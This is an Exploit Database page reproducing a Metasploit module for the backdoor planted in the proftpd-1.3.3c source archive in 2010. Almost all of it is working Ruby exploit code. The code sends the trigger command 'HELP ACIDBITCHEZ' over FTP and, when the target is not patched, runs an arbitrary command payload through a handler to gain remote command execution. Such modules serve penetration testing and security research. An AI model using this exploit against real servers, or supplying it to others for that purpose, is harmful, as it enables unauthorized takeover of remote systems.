ProFTPd-1.3.3c – Backdoor Command Execution (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-12-03
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16921/

• ##
  # $Id: proftpd_133c_backdoor.rb 11214 2010-12-03 12:34:38Z swtornio $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'ProFTPD-1.3.3c Backdoor Command Execution',
  			'Description'=> %q{
  					This module exploits a malicious backdoor that was added to the
  				ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz]
  				archive between November 28th 2010 and 2nd December 2010.
  			},
  			'Author' => [ 'MC', 'darkharper2' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 11214 $',
  			'References' =>
  				[
  					[ 'OSVDB', '69562'],
  					[ 'BID', '45150' ],
  					[ 'URL', 'http://sourceforge.net/mailarchive/message.php?msg_name=alpine.DEB.2.00.1012011542220.12930%40familiar.castaglia.org' ],
  				],
  			'Privileged' => true,
  			'Platform' => [ 'unix' ],
  			'Arch' => ARCH_CMD,
  			'Payload'=>
  				{
  					'Space'=> 2000,
  					'BadChars' => '',
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl telnet',
  						}
  				},
  			'Targets'=>
  				[
  					[ 'Automatic', { } ],
  				],
  			'DisclosureDate' => 'Dec 2 2010',
  			'DefaultTarget' => 0))
  
  		deregister_options('FTPUSER', 'FTPPASS')
  	end
  
  	def exploit
  
  		connect
  
  		print_status("Sending Backdoor Command")
  		sock.put("HELP ACIDBITCHEZ\r\n")
  
  		res = sock.get_once(-1,10)
  	
  		if ( res and res =~ /502/ )
  			print_error("Not backdoored")
  		else
  			sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
  			handler
  		end
  
  		disconnect
  
  	end
  
  end